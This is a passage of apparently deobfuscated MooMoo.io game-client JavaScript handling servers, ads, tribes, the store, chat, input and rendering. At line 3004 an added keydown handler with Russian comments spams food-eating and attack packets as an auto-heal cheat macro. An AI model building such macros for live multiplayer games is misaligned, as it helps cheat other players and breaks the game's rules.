2742 function dt(e) {
2743 he.style.display = "block", Be.style.display = "none", Me.style.display =
2744 "none", Ge.style.display = "none", Pe.style.display = "block", Pe.innerHTML =
2745 e +
2746 "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>"
2747 }
2748 window.onblur = function() {
2749 lt = !1
2750 }, window.onfocus = function() {
2751 lt = !0, R && R.alive && yn()
2752 }, window.onload = function() {
2753 ht = !0, v(), setTimeout((function() {
2754 k || (alert("Captcha failed to load"), window.location.reload())
2755 }), 2e4)
2756 }, window.captchaCallback = function() {
2757 ut = !0, v()
2758 }, we.oncontextmenu = function() {
2759 return !1
2760 };
2761
2762 function pt() {
2763 var e, t, n = "",
2764 i = 0;
2765 for (var r in y.servers) {
2766 for (var s = y.servers[r], a = 0, c = 0; c < s.length; c++)
2767 for (var l = 0; l < s[c].games.length; l++) a += s[c].games[l].playerCount;
2768 i += a;
2769 var h = y.regionInfo[r].name;
2770 n += "<option disabled>" + h + " - " + a + " players</option>";
2771 for (var u = 0; u < s.length; u++)
2772 for (var f = s[u], d = 0; d < f.games.length; d++) {
2773 var p = f.games[d],
2774 g = 1 * f.index + d + 1,
2775 m = y.server && y.server.region === f.region && y.server.index === f.index &&
2776 y.gameIndex == d,
2777 k = h + " " + g + " [" + Math.min(p.playerCount, o.maxPlayers) + "/" +
2778 o.maxPlayers + "]";
2779 let e = y.stripRegion(r) + ":" + u + ":" + d;
2780 m && (de.getElementsByTagName("span")[0].innerText = e), n +=
2781 "<option value='" + e + "' " + (m ? "selected" : "") + ">" + k +
2782 "</option>"
2783 }
2784 n += "<option disabled></option>"
2785 }
2786 n += "<option disabled>All Servers - " + i + " players</option>", xe.innerHTML =
2787 n, "sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo", t =
2788 "//moomoo.io/") : (e = "Try the sandbox", t = "//sandbox.moomoo.io/"),
2789 document.getElementById("altServer").innerHTML = "<a href='" + t + "'>" +
2790 e +
2791 "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>"
2792 }
2793
2794 function gt() {
2795 var e = new XMLHttpRequest;
2796 e.onreadystatechange = function() {
2797 4 == this.readyState && (200 == this.status ? (window.vultr = JSON.parse(
2798 this.responseText), y.processServers(vultr.servers), pt()) : console.error(
2799 "Failed to load server data with status code:", this.status))
2800 }, e.open("GET", "/serverData", !0), e.send()
2801 }
2802 xe.addEventListener("change", s.checkTrusted((function() {
2803 let e = xe.value.split(":");
2804 y.switchServer(e[0], e[1], e[2])
2805 })));
2806 var mt = document.getElementById("pre-content-container"),
2807 yt = null,
2808 kt = null;
2809 window.cpmstarAPI((function(e) {
2810 e.game.setTarget(mt), kt = e
2811 }));
2812 var vt = 3e5,
2813 wt = 0,
2814 bt = 0;
2815
2816 function xt() {
2817 if (!cpmstarAPI || !kt) return console.log("Failed to load video ad API", !
2818 !cpmstarAPI, !!kt), void Tn();
2819 (yt = new kt.game.RewardedVideoView("rewardedvideo")).addEventListener(
2820 "ad_closed", (function(e) {
2821 console.log("Video ad closed"), St()
2822 })), yt.addEventListener("loaded", (function(e) {
2823 console.log("Video ad loaded"), yt.show()
2824 })), yt.addEventListener("load_failed", (function(e) {
2825 console.log("Video ad load failed", e), St()
2826 })), yt.load(), mt.style.display = "block"
2827 }
2828
2829 function St() {
2830 mt.style.display = "none", Tn()
2831 }
2832
2833 function Tt(e, t, n) {
2834 if (R && e)
2835 if (s.removeAllChildren(Fe), Fe.classList.add("visible"), s.generateElement({
2836 id: "itemInfoName",
2837 text: s.capitalizeFirst(e.name),
2838 parent: Fe
2839 }), s.generateElement({
2840 id: "itemInfoDesc",
2841 text: e.desc,
2842 parent: Fe
2843 }), n);
2844 else if (t) s.generateElement({
2845 class: "itemInfoReq",
2846 text: e.type ? "secondary" : "primary",
2847 parent: Fe
2848 });
2849 else {
2850 for (var i = 0; i < e.req.length; i += 2) s.generateElement({
2851 class: "itemInfoReq",
2852 html: e.req[i] + "<span class='itemInfoReqVal'> x" + e.req[i + 1] +
2853 "</span>",
2854 parent: Fe
2855 });
2856 e.group.limit && s.generateElement({
2857 class: "itemInfoLmt",
2858 text: (R.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
2859 parent: Fe
2860 })
2861 } else Fe.classList.remove("visible")
2862 }
2863 window.showPreAd = xt;
2864 var It, Et, Mt, At = [],
2865 Pt = [];
2866
2867 function Bt(e, t) {
2868 At.push({
2869 sid: e,
2870 name: t
2871 }), Ct()
2872 }
2873
2874 function Ct() {
2875 if (At[0]) {
2876 var e = At[0];
2877 s.removeAllChildren(Ze), Ze.style.display = "block", s.generateElement({
2878 class: "notificationText",
2879 text: e.name,
2880 parent: Ze
2881 }), s.generateElement({
2882 class: "notifButton",
2883 html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'></i>",
2884 parent: Ze,
2885 onclick: function() {
2886 Dt(0)
2887 },
2888 hookTouch: !0
2889 }), s.generateElement({
2890 class: "notifButton",
2891 html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'></i>",
2892 parent: Ze,
2893 onclick: function() {
2894 Dt(1)
2895 },
2896 hookTouch: !0
2897 })
2898 } else Ze.style.display = "none"
2899 }
2900
2901 function Ot(e) {
2902 X.push(e), "block" == Ye.style.display && Ut()
2903 }
2904
2905 function Rt(e, t) {
2906 R && (R.team = e, R.isOwner = t, "block" == Ye.style.display && Ut())
2907 }
2908
2909 function jt(e) {
2910 Pt = e, "block" == Ye.style.display && Ut()
2911 }
2912
2913 function _t(e) {
2914 for (var t = X.length - 1; t >= 0; t--) X[t].sid == e && X.splice(t, 1);
2915 "block" == Ye.style.display && Ut()
2916 }
2917
2918 function Ut() {
2919 if (R && R.alive) {
2920 if (an(), Qe.style.display = "none", Ye.style.display = "block", s.removeAllChildren(
2921 We), R.team)
2922 for (var e = 0; e < Pt.length; e += 2) ! function(e) {
2923 var t = s.generateElement({
2924 class: "allianceItem",
2925 style: "color:" + (Pt[e] == R.sid ? "#fff" : "rgba(255,255,255,0.6)"),
2926 text: Pt[e + 1],
2927 parent: We
2928 });
2929 R.isOwner && Pt[e] != R.sid && s.generateElement({
2930 class: "joinAlBtn",
2931 text: "Kick",
2932 onclick: function() {
2933 Lt(Pt[e])
2934 },
2935 hookTouch: !0,
2936 parent: t
2937 })
2938 }(e);
2939 else if (X.length)
2940 for (e = 0; e < X.length; ++e) ! function(e) {
2941 var t = s.generateElement({
2942 class: "allianceItem",
2943 style: "color:" + (X[e].sid == R.team ? "#fff" :
2944 "rgba(255,255,255,0.6)"),
2945 text: X[e].sid,
2946 parent: We
2947 });
2948 s.generateElement({
2949 class: "joinAlBtn",
2950 text: "Join",
2951 onclick: function() {
2952 Ft(e)
2953 },
2954 hookTouch: !0,
2955 parent: t
2956 })
2957 }(e);
2958 else s.generateElement({
2959 class: "allianceItem",
2960 text: "No Tribes Yet",
2961 parent: We
2962 });
2963 s.removeAllChildren(Xe), R.team ? s.generateElement({
2964 class: "allianceButtonM",
2965 style: "width: 360px",
2966 text: R.isOwner ? "Delete Tribe" : "Leave Tribe",
2967 onclick: function() {
2968 Ht()
2969 },
2970 hookTouch: !0,
2971 parent: Xe
2972 }) : (s.generateElement({
2973 tag: "input",
2974 type: "text",
2975 id: "allianceInput",
2976 maxLength: 7,
2977 placeholder: "unique name",
2978 ontouchstart: function(e) {
2979 e.preventDefault();
2980 var t = prompt("unique name", e.currentTarget.value);
2981 e.currentTarget.value = t.slice(0, 7)
2982 },
2983 parent: Xe
2984 }), s.generateElement({
2985 tag: "div",
2986 class: "allianceButtonM",
2987 style: "width: 140px;",
2988 text: "Create",
2989 onclick: function() {
2990 zt()
2991 },
2992 hookTouch: !0,
2993 parent: Xe
2994 }))
2995 }
2996 }
2997
2998 function Dt(e) {
2999 r.send("11", At[0].sid, e), At.splice(0, 1), Ct();
3000 }
3001
3002
3003
3004 document.onkeydown = function(e) {// спам едой. НЕУБЕРАЙТЕ ЗАДЕРЖКУ!! Ну если вообще кто то это видит то это по тому что если вы уберете ее то в конце от самого клиета будет нажата q тобишь еда ))
3005 if (e.keyCode == 101) {
3006 Sn(R.items[0])
3007 r.send("c", 1)
3008 r.send("c", 0)
3009 Sn(R.items[0])
3010 r.send("c", 1)
3011 r.send("c", 0)
3012 Sn(R.items[0])
3013 r.send("c", 1)
3014 r.send("c", 0)
3015 Sn(R.items[0])
3016 r.send("c", 1)
3017 r.send("c", 0)
3018 setTimeout( () => {
3019 r.send("5")
3020 },1)
3021
3022 }
3023 }
3024 //r.send("5") = прошлое "главное" оружие
3025 //Sn(R.items[0]) = еда
3026 //Sn(R.items[1]) = стена
3027 //Sn(R.items[2]) = спайк или же шип
3028 //Sn(R.items[3]) = мельница
3029 //Sn(R.items[4]) = трапка или же буст(если этого предмета нету то ты береш примари или секондари оружие
3030 //Sn(R.items[5]) = тут мои полномочия уже все, окончены
3031 var repeater = function(key, action, interval) {
3032 let _isKeyDown = false;
3033 let _intervalId = undefined;
3034
3035 return {
3036 start(keycode) {
3037 if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
3038 _isKeyDown = true;
3039 if(_intervalId === undefined) {
3040 _intervalId = setInterval(() => {
3041 action();
3042 if(!_isKeyDown){
3043 clearInterval(_intervalId);
3044 _intervalId = undefined;
3045 console.log("claered");
3046 }
3047 }, interval);
3048 }
3049 }
3050 },
3051
3052 stop(keycode) {
3053 if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
3054 _isKeyDown = false;
3055 }
3056 }
3057 };
3058
3059
3060 }
3061
3062 function Lt(e) {
3063 r.send("12", e)
3064 }
3065
3066 function Ft(e) {
3067 r.send("10", X[e].sid)
3068 }
3069 function zt() {
3070 r.send("8", document.getElementById("allianceInput").value)
3071 }
3072
3073 function Ht() {
3074 At = [], Ct(), r.send("9")
3075 }
3076 var Vt, qt = [];
3077
3078 function Yt(e, t) {
3079 for (var n = 0; n < qt.length; ++n)
3080 if (!qt[n].active) {
3081 Vt = qt[n];
3082 break
3083 }
3084 Vt || (Vt = new function() {
3085 this.init = function(e, t) {
3086 this.scale = 0, this.x = e, this.y = t, this.active = !0
3087 }, this.update = function(e, t) {
3088 this.active && (this.scale += .05 * t, this.scale >= o.mapPingScale ?
3089 this.active = !1 : (e.globalAlpha = 1 - Math.max(0, this.scale / o.mapPingScale),
3090 e.beginPath(), e.arc(this.x / o.mapScale * Ne.width, this.y / o.mapScale *
3091 Ne.width, this.scale, 0, 2 * Math.PI), e.stroke()))
3092 }
3093 }, qt.push(Vt)), Vt.init(e, t)
3094 }
3095
3096 function Wt(e) {
3097 Et = e
3098 }
3099 var Xt = 0;
3100
3101 function Nt(e, t, n) {
3102 n ? e ? R.tailIndex = t : R.tails[t] = 1 : e ? R.skinIndex = t : R.skins[t] =
3103 1, "block" == Qe.style.display && Gt()
3104 }
3105
3106 function Gt() {
3107 if (R) {
3108 s.removeAllChildren($e);
3109 for (var e = Xt, t = e ? tt : et, n = 0; n < t.length; ++n) t[n].dontSell ||
3110 function(n) {
3111 var i = s.generateElement({
3112 id: "storeDisplay" + n,
3113 class: "storeItem",
3114 onmouseout: function() {
3115 Tt()
3116 },
3117 onmouseover: function() {
3118 Tt(t[n], !1, !0)
3119 },
3120 parent: $e
3121 });
3122 s.hookTouchEvents(i, !0), s.generateElement({
3123 tag: "img",
3124 class: "hatPreview",
3125 src: "../img/" + (e ? "accessories/access_" : "hats/hat_") + t[n].id +
3126 (t[n].topSprite ? "_p" : "") + ".png",
3127 parent: i
3128 }), s.generateElement({
3129 tag: "span",
3130 text: t[n].name,
3131 parent: i
3132 }), (e ? R.tails[t[n].id] : R.skins[t[n].id]) ? (e ? R.tailIndex : R.skinIndex) ==
3133 t[n].id ? s.generateElement({
3134 class: "joinAlBtn",
3135 style: "margin-top: 5px",
3136 text: "Unequip",
3137 onclick: function() {
3138 Jt(0, e)
3139 },
3140 hookTouch: !0,
3141 parent: i
3142 }) : s.generateElement({
3143 class: "joinAlBtn",
3144 style: "margin-top: 5px",
3145 text: "Equip",
3146 onclick: function() {
3147 Jt(t[n].id, e)
3148 },
3149 hookTouch: !0,
3150 parent: i
3151 }) : (s.generateElement({
3152 class: "joinAlBtn",
3153 style: "margin-top: 5px",
3154 text: "Buy",
3155 onclick: function() {
3156 Kt(t[n].id, e)
3157 },
3158 hookTouch: !0,
3159 parent: i
3160 }), s.generateElement({
3161 tag: "span",
3162 class: "itemPrice",
3163 text: t[n].price,
3164 parent: i
3165 }))
3166 }(n)
3167 }
3168 }
3169
3170 function Jt(e, t) {
3171 r.send("13c", 0, e, t)
3172 }
3173
3174 function Kt(e, t) {
3175 r.send("13c", 1, e, t)
3176 }
3177
3178 function Qt() {
3179 Qe.style.display = "none", Ye.style.display = "none", an()
3180 }
3181
3182 function $t(e, t) {
3183 e && (t ? R.weapons = e : R.items = e);
3184 for (var n = 0; n < l.list.length; ++n) {
3185 var i = l.weapons.length + n;
3186 document.getElementById("actionBarItem" + i).style.display = R.items.indexOf(
3187 l.list[n].id) >= 0 ? "inline-block" : "none"
3188 }
3189 for (n = 0; n < l.weapons.length; ++n) document.getElementById(
3190 "actionBarItem" + n).style.display = R.weapons[l.weapons[n].type] == l.weapons[
3191 n].id ? "inline-block" : "none"
3192 }
3193
3194 function Zt(e) {
3195 M = e, V = e && window.devicePixelRatio || 1, Se.checked = e, I(
3196 "native_resolution", e.toString()), un()
3197 }
3198
3199 function en() {
3200 for (var e = "", t = 0; t < o.skinColors.length; ++t) e += t == ae ?
3201 "<div class='skinColorItem activeSkin' style='background-color:" + o.skinColors[
3202 t] + "' onclick='selectSkinColor(" + t + ")'></div>" :
3203 "<div class='skinColorItem' style='background-color:" + o.skinColors[t] +
3204 "' onclick='selectSkinColor(" + t + ")'></div>";
3205 Je.innerHTML = e
3206 }
3207 var tn = document.getElementById("chatBox"),
3208 nn = document.getElementById("chatHolder");
3209
3210 function rn() {
3211 on ? setTimeout((function() {
3212 var e = prompt("chat message");
3213 e && sn(e)
3214 }), 1) : "block" == nn.style.display ? (tn.value && sn(tn.value), an()) :
3215 (Qe.style.display = "none", Ye.style.display = "none", nn.style.display =
3216 "block", tn.focus(), yn()), tn.value = ""
3217 }
3218
3219 function sn(e) {
3220 r.send("ch", e.slice(0, 30))
3221 }
3222
3223 function an() {
3224 tn.value = "", nn.style.display = "none"
3225 }
3226 var on, cn, ln = ["motherfucking"
3227 ];
3228
3229 function hn(e, t) {
3230 var n = Ii(e);
3231 n && (n.chatMessage = function(e) {
3232 for (var t, n = 0; n < ln.length; ++n)
3233 if (e.indexOf(ln[n]) > -1) {
3234 t = "";
3235 for (var i = 0; i < ln[n].length; ++i) t += t.length ? "o" : "M";
3236 var r = new RegExp(ln[n], "g");
3237 e = e.replace(r, t)
3238 }
3239 return e
3240 }(t), n.chatCountdown = o.chatCountdown)
3241 }
3242
3243 function un() {
3244 F = window.innerWidth, z = window.innerHeight;
3245 var e = Math.max(F / oe, z / ce) * V;
3246 we.width = F * V, we.height = z * V, we.style.width = F + "px", we.style.height =
3247 z + "px", be.setTransform(e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce *
3248 e) / 2)
3249 }
3250
3251 function fn(e) {
3252 (on = e) ? Ae.classList.add("touch"): Ae.classList.remove("touch")
3253 }
3254
3255 function dn(e) {
3256 e.preventDefault(), e.stopPropagation(), fn(!0);
3257 for (var t = 0; t < e.changedTouches.length; t++) {
3258 var n = e.changedTouches[t];
3259 n.identifier == re.id ? (re.id = -1, bn()) : n.identifier == se.id && (se.id = -
3260 1, R.buildIndex >= 0 && (O = 1, vn()), O = 0, vn())
3261 }
3262 }
3263
3264 function pn() {
3265 return R ? (-1 != se.id ? cn = Math.atan2(se.currentY - se.startY, se.currentX -
3266 se.startX) : R.lockDir || on || (cn = Math.atan2(ie - z / 2, ne - F / 2)),
3267 s.fixTo(cn || 0, 2)) : 0
3268 }
3269 window.addEventListener("resize", s.checkTrusted(un)), un(), fn(!1), window.setUsingTouch =
3270 fn, we.addEventListener("touchmove", s.checkTrusted((function(e) {
3271 e.preventDefault(), e.stopPropagation(), fn(!0);
3272 for (var t = 0; t < e.changedTouches.length; t++) {
3273 var n = e.changedTouches[t];
3274 n.identifier == re.id ? (re.currentX = n.pageX, re.currentY = n.pageY,
3275 bn()) : n.identifier == se.id && (se.currentX = n.pageX, se.currentY =
3276 n.pageY, O = 1)
3277 }
3278 })), !1), we.addEventListener("touchstart", s.checkTrusted((function(e) {
3279 e.preventDefault(), e.stopPropagation(), fn(!0);
3280 for (var t = 0; t < e.changedTouches.length; t++) {
3281 var n = e.changedTouches[t];
3282 n.pageX < document.body.scrollWidth / 2 && -1 == re.id ? (re.id = n.identifier,
3283 re.startX = re.currentX = n.pageX, re.startY = re.currentY = n.pageY,
3284 bn()) : n.pageX > document.body.scrollWidth / 2 && -1 == se.id && (
3285 se.id = n.identifier, se.startX = se.currentX = n.pageX, se.startY =
3286 se.currentY = n.pageY, R.buildIndex < 0 && (O = 1, vn()))
3287 }
3288 })), !1), we.addEventListener("touchend", s.checkTrusted(dn), !1), we.addEventListener(
3289 "touchcancel", s.checkTrusted(dn), !1), we.addEventListener("touchleave",
3290 s.checkTrusted(dn), !1), we.addEventListener("mousemove", (function(e) {
3291 e.preventDefault(), e.stopPropagation(), fn(!1), ne = e.clientX, ie = e.clientY
3292 }), !1), we.addEventListener("mousedown", (function(e) {
3293 fn(!1), 1 != O && (O = 1, vn())
3294 }), !1), we.addEventListener("mouseup", (function(e) {
3295 fn(!1), 0 != O && (O = 0, vn())
3296 }), !1);
3297 var gn = {},
3298 mn = {
3299 87: [0, -1],
3300 38: [0, -1],
3301 83: [0, 1],
3302 40: [0, 1],
3303 65: [-1, 0],
3304 37: [-1, 0],
3305 68: [1, 0],
3306 39: [1, 0]
3307 };
3308
3309 function yn() {
3310 gn = {}, r.send("rmd")
3311 }
3312
3313 function kn() {
3314 return "block" != Ye.style.display && "block" != nn.style.display
3315 }
3316
3317 function vn() {
3318 R && R.alive && r.send("c", O, R.buildIndex >= 0 ? pn() : null)
3319 }
3320 window.addEventListener("keydown", s.checkTrusted((function(e) {
3321 var t = e.which || e.keyCode || 0;
3322 27 == t ? Qt() : R && R.alive && kn() && (gn[t] || (gn[t] = 1, 69 == t ?
3323 r.send("7", 1) : 67 == t ? (Mt || (Mt = {}), Mt.x = R.x, Mt.y = R.y) :
3324 88 == t ? (R.lockDir = R.lockDir ? 0 : 1, r.send("7", 0)) : null !=
3325 R.weapons[t - 49] ? Sn(R.weapons[t - 49], !0) : null != R.items[t -
3326 49 - R.weapons.length] ? Sn(R.items[t - 49 - R.weapons.length]) :
3327 81 == t ? Sn(R.items[0]) : 82 == t ? xn() : mn[t] ? bn() : 32 == t &&
3328 (O = 1, vn())))
3329 }))), window.addEventListener("keyup", s.checkTrusted((function(e) {
3330 if (R && R.alive) {
3331 var t = e.which || e.keyCode || 0;
3332 13 == t ? rn() : kn() && gn[t] && (gn[t] = 0, mn[t] ? bn() : 32 == t &&
3333 (O = 0, vn()))
3334 }
3335 })));
3336 var wn = void 0;
3337
3338 function bn() {
3339 var e = function() {
3340 var e = 0,
3341 t = 0;
3342 if (-1 != re.id) e += re.currentX - re.startX, t += re.currentY - re.startY;
3343 else
3344 for (var n in mn) {
3345 var i = mn[n];
3346 e += !!gn[n] * i[0], t += !!gn[n] * i[1]
3347 }
3348 return 0 == e && 0 == t ? void 0 : s.fixTo(Math.atan2(t, e), 2)
3349 }();
3350 (null == wn || null == e || Math.abs(e - wn) > .3) && (r.send("33", e), wn =
3351 e)
3352 }
3353
3354 function xn() {
3355 r.send("14", 1)
3356 }
3357
3358 function Sn(e, t) {
3359 r.send("5", e, t)
3360 }
3361
3362 function Tn() {
3363 I("moo_name", Le.value), !le && r.connected && (le = !0, x.stop("menu"), dt(
3364 "Loading..."), r.send("sp", {
3365 name: Le.value,
3366 moofoll: H,
3367 skin: ae
3368 }))
3369 }
3370 var In = !0;
3371
3372 function En(e) {
3373 Pe.style.display = "none", Me.style.display = "block", he.style.display =
3374 "none", gn = {}, j = e, O = 0, le = !0, In && (In = !1, N.length = 0)
3375 }
3376
3377 function Mn(e, t, n, i) {
3378 m.showText(e, t, 50, .18, 500, Math.abs(n), n >= 0 ? "#fff" : "#8ecc51")
3379 }
3380 var An = 99999;
3381
3382 function Pn() {
3383 le = !1;
3384 try {
3385 factorem.refreshAds([2], !0)
3386 } catch (e) {}
3387 Be.style.display = "none", Qt(), It = {
3388 x: R.x,
3389 y: R.y
3390 }, Pe.style.display = "none", Ge.style.display = "block", Ge.style.fontSize =
3391 "0px", An = 0, setTimeout((function() {
3392 Me.style.display = "block", he.style.display = "block", Ge.style.display =
3393 "none"
3394 }), o.deathFadeout), gt()
3395 }
3396
3397 function Bn(e) {
3398 R && nt.removeAllItems(e)
3399 }
3400
3401 function Cn(e) {
3402 nt.disableBySid(e)
3403 }
3404
3405 function On() {
3406 Oe.innerText = R.points, Re.innerText = R.food, je.innerText = R.wood, _e.innerText =
3407 R.stone, Ue.innerText = R.kills
3408 }
3409 var Rn = {},
3410 jn = ["crown", "skull"],
3411 _n = [];
3412
3413 function Un(e, t) {
3414 if (R.upgradePoints = e, R.upgrAge = t, e > 0) {
3415 _n.length = 0, s.removeAllChildren(Ve);
3416 for (var n = 0; n < l.weapons.length; ++n) l.weapons[n].age == t && (null ==
3417 l.weapons[n].pre || R.weapons.indexOf(l.weapons[n].pre) >= 0) && (s.generateElement({
3418 id: "upgradeItem" + n,
3419 class: "actionBarItem",
3420 onmouseout: function() {
3421 Tt()
3422 },
3423 parent: Ve
3424 }).style.backgroundImage = document.getElementById("actionBarItem" + n).style
3425 .backgroundImage, _n.push(n));
3426 for (n = 0; n < l.list.length; ++n)
3427 if (l.list[n].age == t && (null == l.list[n].pre || R.items.indexOf(l.list[
3428 n].pre) >= 0)) {
3429 var i = l.weapons.length + n;
3430 s.generateElement({
3431 id: "upgradeItem" + i,
3432 class: "actionBarItem",
3433 onmouseout: function() {
3434 Tt()
3435 },
3436 parent: Ve
3437 }).style.backgroundImage = document.getElementById("actionBarItem" + i)
3438 .style.backgroundImage, _n.push(i)
3439 }
3440 for (n = 0; n < _n.length; n++) ! function(e) {
3441 var t = document.getElementById("upgradeItem" + e);
3442 t.onmouseover = function() {
3443 l.weapons[e] ? Tt(l.weapons[e], !0) : Tt(l.list[e - l.weapons.length])
3444 }, t.onclick = s.checkTrusted((function() {
3445 r.send("6", e)
3446 })), s.hookTouchEvents(t)
3447 }(_n[n]);
3448 _n.length ? (Ve.style.display = "block", qe.style.display = "block", qe.innerHTML =
3449 "SELECT ITEMS (" + e + ")") : (Ve.style.display = "none", qe.style.display =
3450 "none", Tt())
3451 } else Ve.style.display = "none", qe.style.display = "none", Tt()
3452 }
3453
3454 function Dn(e, t, n) {
3455 null != e && (R.XP = e), null != t && (R.maxXP = t), null != n && (R.age =
3456 n), n == o.maxAge ? (ze.innerHTML = "MAX AGE", He.style.width = "100%") :
3457 (ze.innerHTML = "AGE " + R.age, He.style.width = R.XP / R.maxXP * 100 +
3458 "%")
3459 }
3460
3461 function Ln(e) {
3462 s.removeAllChildren(De);
3463 for (var t = 1, n = 0; n < e.length; n += 3) ! function(n) {
3464 s.generateElement({
3465 class: "leaderHolder",
3466 parent: De,
3467 children: [s.generateElement({
3468 class: "leaderboardItem",
3469 style: "color:" + (e[n] == j ? "#fff" : "rgba(255,255,255,0.6)"),
3470 text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
3471 }), s.generateElement({
3472 class: "leaderScore",
3473 text: s.kFormat(e[n + 2]) || "0"
3474 })]
3475 })
3476 }(n), t++
3477 }
3478
3479 function Fn(e, t, n, i) {
3480 be.save(), be.setTransform(1, 0, 0, 1, 0, 0), be.scale(V, V);
3481 var r = 50;
3482 be.beginPath(), be.arc(e, t, r, 0, 2 * Math.PI, !1), be.closePath(), be.fillStyle =
3483 "rgba(255, 255, 255, 0.3)", be.fill(), r = 50;
3484 var s = n - e,
3485 a = i - t,
3486 o = Math.sqrt(Math.pow(s, 2) + Math.pow(a, 2)),
3487 c = o > r ? o / r : 1;
3488 s /= c, a /= c, be.beginPath(), be.arc(e + s, t + a, .5 * r, 0, 2 * Math.PI, !
3489 1), be.closePath(), be.fillStyle = "white", be.fill(), be.restore()
3490 }
3491
3492 function zn(e, t, n) {
3493 for (var i = 0; i < G.length; ++i)(_ = G[i]).active && _.layer == e && (_.update(
3494 P), _.active && ki(_.x - t, _.y - n, _.scale) && (be.save(), be.translate(
3495 _.x - t, _.y - n), be.rotate(_.dir), Vn(0, 0, _, be, 1), be.restore()))
3496 }
3497 var Hn = {};
3498
3499 function Vn(e, t, n, i, r) {
3500 if (n.src) {
3501 var s = l.projectiles[n.indx].src,
3502 a = Hn[s];
3503 a || ((a = new Image).onload = function() {
3504 this.isLoaded = !0
3505 }, a.src = ".././img/weapons/" + s + ".png", Hn[s] = a), a.isLoaded && i.drawImage(
3506 a, e - n.scale / 2, t - n.scale / 2, n.scale, n.scale)
3507 } else 1 == n.indx && (i.fillStyle = "#939393", si(e, t, n.scale, i))
3508 }
3509
3510 function qn(e, t, n, i) {
3511 var r = o.riverWidth + i,
3512 s = o.mapScale / 2 - t - r / 2;
3513 s < ce && s + r > 0 && n.fillRect(0, s, oe, r)
3514 }
3515
3516 function Yn(e, t, n) {
3517 for (var i, r, s, a = 0; a < N.length; ++a)(_ = N[a]).active && (r = _.x +
3518 _.xWiggle - t, s = _.y + _.yWiggle - n, 0 == e && _.update(P), _.layer ==
3519 e && ki(r, s, _.scale + (_.blocker || 0)) && (be.globalAlpha = _.hideFromEnemy ?
3520 .6 : 1, _.isItem ? (i = ri(_), be.save(), be.translate(r, s), be.rotate(
3521 _.dir), be.drawImage(i, -i.width / 2, -i.height / 2), _.blocker && (be
3522 .strokeStyle = "#db6e6e", be.globalAlpha = .3, be.lineWidth = 6, si(0,
3523 0, _.blocker, be, !1, !0)), be.restore()) : (i = ni(_), be.drawImage(i,
3524 r - i.width / 2, s - i.height / 2))))
3525 }
3526
3527 function Wn(e, t, n) {
3528 (_ = Ii(e)) && _.startAnim(t, n)
3529 }
3530
3531 function Xn(e, t, n) {
3532 be.globalAlpha = 1;
3533 for (var i = 0; i < W.length; ++i)(_ = W[i]).zIndex == n && (_.animate(P),
3534 _.visible && (_.skinRot += .002 * P, L = (_ == R ? pn() : _.dir) + _.dirPlus,
3535 be.save(), be.translate(_.x - e, _.y - t), be.rotate(L), Nn(_, be), be.restore()
3536 ))
3537 }
3538
3539 function Nn(e, t) {
3540 (t = t || be).lineWidth = 5.5, t.lineJoin = "miter";
3541 var n = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1),
3542 i = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1,
3543 r = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
3544 if (e.tailIndex > 0 && function(e, t, n) {
3545 if (!(Gn = Qn[e])) {
3546 var i = new Image;
3547 i.onload = function() {
3548 this.isLoaded = !0, this.onload = null
3549 }, i.src = ".././img/accessories/access_" + e + ".png", Qn[e] = i, Gn =
3550 i
3551 }
3552 var r = $n[e];
3553 if (!r) {
3554 for (var s = 0; s < tt.length; ++s)
3555 if (tt[s].id == e) {
3556 r = tt[s];
3557 break
3558 }
3559 $n[e] = r
3560 }
3561 Gn.isLoaded && (t.save(), t.translate(-20 - (r.xOff || 0), 0), r.spin &&
3562 t.rotate(n.skinRot), t.drawImage(Gn, -r.scale / 2, -r.scale / 2, r.scale,
3563 r.scale), t.restore())
3564 }(e.tailIndex, t, e), e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand &&
3565 (ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale,
3566 0, t), null == l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex]
3567 .hideProjectile || Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile],
3568 be)), t.fillStyle = o.skinColors[e.skinColor], si(e.scale * Math.cos(n),
3569 e.scale * Math.sin(n), 14), si(e.scale * r * Math.cos(-n * i), e.scale *
3570 r * Math.sin(-n * i), 14), e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand &&
3571 (ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale,
3572 0, t), null == l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex]
3573 .hideProjectile || Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile],
3574 be)), e.buildIndex >= 0) {
3575 var s = ri(l.list[e.buildIndex]);
3576 t.drawImage(s, e.scale - l.list[e.buildIndex].holdOffset, -s.width / 2)
3577 }
3578 si(0, 0, e.scale, t), e.skinIndex > 0 && (t.rotate(Math.PI / 2), function e(
3579 t, n, i, r) {
3580 if (!(Gn = Jn[t])) {
3581 var s = new Image;
3582 s.onload = function() {
3583 this.isLoaded = !0, this.onload = null
3584 }, s.src = ".././img/hats/hat_" + t + ".png", Jn[t] = s, Gn = s
3585 }
3586 var a = i || Kn[t];
3587 if (!a) {
3588 for (var o = 0; o < et.length; ++o)
3589 if (et[o].id == t) {
3590 a = et[o];
3591 break
3592 }
3593 Kn[t] = a
3594 }
3595 Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale, a.scale), !
3596 i && a.topSprite && (n.save(), n.rotate(r.skinRot), e(t + "_top", n, a,
3597 r), n.restore())
3598 }(e.skinIndex, t, null, e))
3599 }
3600 var Gn, Jn = {},
3601 Kn = {},
3602 Qn = {},
3603 $n = {},
3604 Zn = {};
3605
3606 function ei(e, t, n, i, r) {
3607 var s = e.src + (t || ""),
